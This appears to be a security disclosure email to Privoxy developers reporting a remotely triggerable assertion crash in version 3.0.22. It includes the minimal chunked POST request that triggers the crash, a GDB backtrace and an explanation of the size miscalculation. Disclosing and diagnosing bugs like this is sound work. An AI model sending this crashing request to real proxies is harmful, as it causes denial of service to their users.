Hi there,

Not sure if you consider this a security bug, but I found this when
running my HTTP fuzzer through Privoxy.

This is with Privoxy 3.0.22; I have not attempted to find how far back
the bug goes.

By sending something like the following HTTP request, Privoxy will
crash with an assertion failure:

-- 8< --
POST http://foo.invalid/ HTTP/1.1
Transfer-Encoding: chunked

000
-- 8< --

The crash looks like this in GDB:

-- 8< --
(gdb) r
Starting program: /home/matthew/privoxy-3.0.22-stable/privoxy --no-daemon
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
2015-01-10 16:51:10.813 7ffff7fde700 Info: Privoxy version 3.0.22
2015-01-10 16:51:10.813 7ffff7fde700 Info: Program name:
/home/matthew/privoxy-3.0.22-stable/privoxy
[New Thread 0x7ffff6f71700 (LWP 20205)]
privoxy: jcc.c:1400: chunked_body_is_complete: Assertion `*length <=
(size_t)(iob->eod - iob->cur)' failed.

Program received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff6f71700 (LWP 20205)]
0x00007ffff6fa7107 in __GI_raise (sig=sig@entry=6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
56      ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007ffff6fa7107 in __GI_raise (sig=sig@entry=6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
#1  0x00007ffff6fa84e8 in __GI_abort () at abort.c:89
#2  0x00007ffff6fa0226 in __assert_fail_base (fmt=0x7ffff70d6968
"%s%s%s:%u: %s%sAssertion `%s' failed.\n%n",
assertion=assertion@entry=0x446330 "*length <= (size_t)(iob->eod -
iob->cur)", file=file@entry=0x445b67 "jcc.c",
    line=line@entry=1400, function=function@entry=0x447c10
<__PRETTY_FUNCTION__.6858> "chunked_body_is_complete") at assert.c:92
#3  0x00007ffff6fa02d2 in __GI___assert_fail (assertion=0x446330
"*length <= (size_t)(iob->eod - iob->cur)", file=0x445b67 "jcc.c",
line=1400, function=0x447c10 <__PRETTY_FUNCTION__.6858>
"chunked_body_is_complete") at assert.c:101
#4  0x0000000000426769 in chunked_body_is_complete (iob=0x68a980,
length=0x7ffff6f6fa00) at jcc.c:1400
#5  0x000000000042688b in receive_chunked_client_request_body
(csp=0x68a6d8) at jcc.c:1426
#6  0x0000000000426e7f in parse_client_request (csp=0x68a6d8) at jcc.c:1696
#7  0x00000000004270ad in chat (csp=0x68a6d8) at jcc.c:1805
#8  0x0000000000429093 in serve (csp=0x68a6d8) at jcc.c:2838
#9  0x00007ffff73230a4 in start_thread (arg=0x7ffff6f71700) at
pthread_create.c:309
#10 0x00007ffff7057ccd in clone () at
../sysdeps/unix/sysv/linux/x86_64/clone.S:111
(gdb) fr 4
#4  0x0000000000426769 in chunked_body_is_complete (iob=0x68a980,
length=0x7ffff6f6fa00) at jcc.c:1400
1400       assert(*length <= (size_t)(iob->eod - iob->cur));
(gdb)
-- 8< --

The assertion is due to miscalculation of the sizes of chunk pieces in
chunked_body_is_complete. Namely, the function doesn't take into
consideration the length of the chunk length strings when checking for
enough data to be able to skip each chunk. This is a terrible
explanation, but hopefully stepping through the code in a debugger
should make it obvious :)

Since assertion failures - without NDEBUG #defined - lead to a call to
abort(), this is a simple remotely-triggerable DoS.

I can't see any location in Privoxy's codebase that suggests or
defaults to #defining NDEBUG; indeed grepping for NDEBUG only shows
irrelevant results in the Visual Studio project file for PCRE. Hence I
imagine most compilations of Privoxy don't #define NDEBUG and will
therefore abort on an assertion failure. (For example, the AMD64
Debian Privoxy package provided on the Privoxy website isn't compiled
with NDEBUG, AFAICT.)

Please let me know if anything needs any further clarification!

Cheers,

- Matthew Daley